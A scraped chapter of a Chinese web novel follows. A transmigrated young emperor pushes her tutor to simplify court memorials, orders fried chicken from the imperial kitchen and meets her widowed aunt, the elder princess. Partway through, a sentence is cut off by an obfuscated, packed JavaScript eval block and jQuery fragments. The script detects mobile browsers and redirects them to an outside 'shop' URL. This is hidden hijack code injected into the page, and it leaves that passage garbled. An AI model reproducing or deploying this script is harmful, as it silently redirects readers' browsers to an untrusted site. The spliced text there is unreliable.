默认冷灰
24号文字
方正启体

10. 第 10 章

作者:姜又青本书字数:K更新时间:
    姜知玉不想干活,想当咸鱼不假,但是朝堂势力错综复杂,何况自己还捂着一个惊天大秘密,她不想把小命交到别人手里。


    最好的方法就是,权要掌握在自己手里,活让下面的人去干。


    因此姜知玉,在跟陆时渊一起批阅奏折时,格外专心。


    大半个月过去,她对整个朝堂局势,也了解得七七八八了。


    姜知玉觉得,是时候提提这个奏折又臭又长的问题了。


    文华殿内,檀香袅袅。


    姜知玉看着陆时渊坐在对面,勤勤恳恳地批阅奏折,她清了清嗓子,问道:“太傅,如今内阁每天会收到多少份奏折,批阅完需要花费多少时间。”


    陆时渊沉思了一下,道:“内阁每天收到的奏折约三百本,由次辅带领内阁大学士三人初阅,需四个时辰,臣复核需两个时辰。”


    姜知玉将面前一份辞藻华丽、长达二十余页的奏折推至案边,说道:“朕今日批阅此本,通篇读罢,方知所言不过府州内各县驿道破损,请拨银一万两修缮。然其开篇必溯尧舜,中段广论仁政,结尾再颂圣德。朕寻这一万两,如沙海淘金,耗时费力。”


    陆时渊神色未动,只道:“此乃臣子敬上之道,亦是周全之法。”


    姜知玉将心里的气都发出来:“所有官员的奏折,皆是文风骈俪,道德先行,其中少不得有自我标榜。若天下奏章皆如此‘周全’,每日三百本,其中多少时辰是耗于沙海淘金中?”


    陆时渊终于放下手中的卷宗,正视着姜知玉道:“陛下之意是?”


    姜知玉:“礼敬在心,不在文,国事在实,不在繁。朕想与太傅商议,可否立一简易章程,令奏报之言,务求简实?”


    陆时渊敛下长睫,似在沉思。


    姜知玉目光灼灼,继续道:“太傅每日复核票拟,亦需从浩瀚文字中提炼要害,想必也不胜其烦。”


    陆时渊沉默良久,才缓缓开口,问的却是执行:“陛下可知,此例一开,将触犯天下文心?通政司收本、六科发抄,乃至翰林清议,皆以章奏文采为绳墨之一。此令一下,恐有群臣反对,称天下章奏将沦为商贩胥吏之牍,文脉斯文扫地。”


    姜知玉则言辞更加犀利:“太傅,文以载道。奏章之道,在于通达政务,利济生民,若文章华美却遮蔽其道,华美便是罪过。如果天下读书人,追求的都是这样浮华空洞的文章,这才是真正的斯文扫地。”


    姜知玉将早已拟好的腹稿,字字清晰吐出:“官员所呈报的奏本,需要按以下范例,一曰首段明义 ,凡奏事,首段必直陈何事、何地、何求,不得逾三百字。二曰事证分离 ,核心诉求与论证之典故、数据分列。若需引经据典以证其策,可另附章节。”


    陆时渊知道,皇上所求的“务实”又来了,但这不只是关于几份奏折,而是关于信息传达、权力运作、甚至才学如何被衡量的深远变革。


    陆时渊说道:“此事牵涉甚广,非一朝一夕可成。若欲行之,当有缓冲,有示范,有赏罚。”


    陆时渊一开始就没有明确反对,姜知玉听他这么一说,便知道太傅是支持自己的,于是喜滋滋地道:“明天上午,便殿召对时,朕再跟六部商议。”


    姜知玉这次决定换个方式,不再直接在朝堂上吵架了,先小范围各个击破。


    姜知玉最近处理政务的效率明显加快,因为她学会了跳过一段段废话,今天难得能六点钟按时下班,陆时渊婉拒了姜知玉的用餐邀请,迅速离开。


    姜知玉百无聊赖地逛了御花园,再大的园子,逛了一个多月,也该逛腻了,她想玩手机,想吃垃圾食品。


    这皇宫里的食物,确实精细而鲜美,山珍海味,时令鲜蔬,烹调都讲究养生平和,但是吃多了讲究的味道,此刻却分外想念垃圾食品那种简单粗暴、直击灵魂的快乐。


    皇上想吃什么,还用纠结吗?


    姜知玉直起身,对随侍的宫人道:“摆驾,去御膳房。”


    御膳房总管内监得了信,连滚爬爬地迎出来,心里七上八下,不知这位近来行事愈发难以捉摸的年轻皇帝,突然驾临这烟熏火燎之地是为何故。


    赵秉德也不知道皇上打的什么主意,他最近的心思都在皇上的心上人身上,他把出现在陛下身边的女使奴婢,都通通盘点了个遍,都没有发现可疑人物,难不成人在御膳房?


    姜知玉目光扫过毕恭毕敬的御厨们,说道:“朕今日,想吃点新鲜的。”


    “请陛下示下!”总管叩首,心里把各种珍贵食材飞快过了一遍。


    姜知玉回忆着炸鸡的滋味,说道:“取些上好的鸡翅、鸡腿来,要皮肉饱满的,再备上细白面粉、鸡蛋和一锅清油,要能没过鸡腿。”


    总管听着,感觉不像一道宫廷名菜,于是小心翼翼地问:“陛下是想如何烹调?是清炖、红烧,还是……”


    “炸,做炸鸡。”姜知玉直接道,她来了精神:“面粉里打入鸡蛋,加少许盐和胡椒调成面糊,鸡肉用调料腌过片刻后裹满面糊,放入油锅中慢慢炸,炸到外皮金黄酥脆,里面熟透之后捞起,油热之后二次复炸,捞起就成了。”


    这个世界没有面包糠,她也不知道用什么做,只好用面粉替代了。


    总管冷汗都下来了,这听着像是市井食铺里卖与脚夫行商果腹的粗食!他胆战心惊地看了一眼皇上身后的赵秉德。


    赵秉德还没吃炸鸡都快上火了:“陛下,此物恐过于油腻燥烈,有伤圣体……”


    “朕知道,”姜知玉摆摆手,打断他的话,“朕今日就想吃这个,照做便是。记住外皮要酥脆,里面要鲜嫩多汁。”


    众人得了令,便只有按照命令行事。


    一时之间,御膳房内为着炸鸡忙乱起来。


    姜知玉也不走,就坐在院中一株海棠树下等着,过了一会,鼻尖便渐渐萦绕起了炸鸡的香气,这香味熟悉又陌生,但是奇异地抚平了此刻她身处异乡心底的一点焦躁。


    约莫半个时辰后,总管亲自捧着一碟炸得金黄灿灿、热气腾腾的鸡腿上前来,旁边还配了一小碟细磨的辣椒粉。


    姜知玉眼睛一亮,为了顾着帝王的威仪,才努力慢条斯理地开吃。


    “咔嚓——”轻脆的碎裂声在寂静的院中格外清晰,混着肉香的汁水随即蔓延进口腔中。


    姜知玉满足地喟叹了一声,好幸福!


    姜知玉一口气吃了两个鸡腿,赏赐完御膳房的众人,才让张秉德拎着食盒回宫。


    路上,赵秉德汇报说长公主姜贞宁进宫了,正在太后宫里陪着说话。


    姜贞宁驸马前些年病逝,如今一个人住在宫外的公主府,姜武宗去世后,她一个失了父兄的长公主,寡居在外,太后少不得一个月会召她进宫两次,联


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191299|197069||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    络联络感情。


    说是寡居,但也算不得寂寞,因为天下人皆知,姜贞宁府上养面首数不胜数,谁人能得宠,全凭长公主的心意。


    姜知玉听说了,立马想去瞧瞧这位女中豪杰,她让张秉德转驾慈宁宫。


    姜知玉踏进殿内时,梅太后正与一位华服女子对坐叙话。


    那女子听见通传,从榻上起了身。


    “儿臣给母后请安。”姜知玉先行礼,目光顺势落在那女子身上。


    这便是先皇的幼妹、当今的长公主姜贞宁了。论辈分,她是皇帝的皇姑母。


    姜贞宁年纪不过二十七八,面容明媚而鲜妍,梳着时兴的高髻,簪着赤金点翠钗和数支珍珠步摇,一身绯红织金牡丹纹的宫装,衬得她气色极好,通身都是天家金枝玉叶的骄矜与鲜活。


    “贞宁见过皇帝陛下。”姜贞宁起身行礼,姿态优雅,声音清亮,目光却大方地迎了上来。


    “皇姑母不必多礼,快请坐。”姜知玉虚扶一下,按礼称之,三人重新落座。


    梅太后早就听说了御膳房的消息,她蹙着眉头,满是无奈:“皇帝,听说你去御膳房点菜去了,闹得鸡飞狗跳的,你如今是一国之君,行事当有威仪体统,岂可如孩童般任性?”


    话语虽重,语气却更多是担忧她失了分寸,惹人非议。


    姜知玉赔着笑道:“母后教训的是,儿臣记下了。只是今天偶尔想起一道古书里的做法,想尝尝鲜。御厨们手艺了得,做得很是可口,儿臣连忙送过来给母后和姑姑尝尝。”


    说话间,宫人已捧上两个食盒,打开盖子,炸鸡散发着霸道的香气,瞬间压过了殿内清雅的熏香。


    梅太后和姜贞宁都尝了尝,太后口味清淡不大喜欢,倒是姜贞宁眼前一亮:“外酥里嫩,真是别有一番滋味。要是佐一些露酒,更是合适。”


    姜知玉想长公主真是会吃,炸鸡配不了可乐,那佐些清甜的小酒也是可以,于是她命人取了露酒来佐餐。


    姜贞宁吃得眉眼弯弯的:“陛下,您这方子可能赏我?我回府也让厨子试试,我府上厨子多,下次也请您过府来尝尝其他新鲜滋味。”


    姜贞宁也是个爱吃的,酷爱搜寻天下美食,姜知玉闻言自然满口答应。


    梅太后瞧着,下面两个小的都不让自己省心,对姜贞宁说道:“你呀,心思总不在正道上。前几日还听说又召了一个新人入府,成何体统,你若真有合心意的,便让皇上或哀家做主,寻个妥帖人,安安稳稳过日子。你要是还惦记前头那个……”


    “皇嫂,”姜贞宁截住了梅太后的话,“我如今这般甚好,自由自在,前尘往事,我也都已经忘了。”


    梅太后了解她脾性,知道多说无益,只得叹口气:“你自有主意,哀家也管不了你。”


    姜贞宁连忙转换了话头,说了些宫外的趣事,气氛才一时活络起来。姜知玉也觉得这皇姑母是个妙人,生动又鲜亮。


    晚膳用罢,天色已暗,姜贞宁起身告辞。


    殿内只剩下母女二人,梅太后才幽幽道:“贞宁这孩子,看着风光,心里也苦。早年那桩未成的婚事……不提也罢。她性子虽烈,眼光也毒,却是真心之人。皇帝,你若有心,便多护着她些。”


    姜知玉点点头,道:“儿臣知道。这世间对女子苛责颇多,能如皇姑母这样鲜亮有趣的人,不多了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)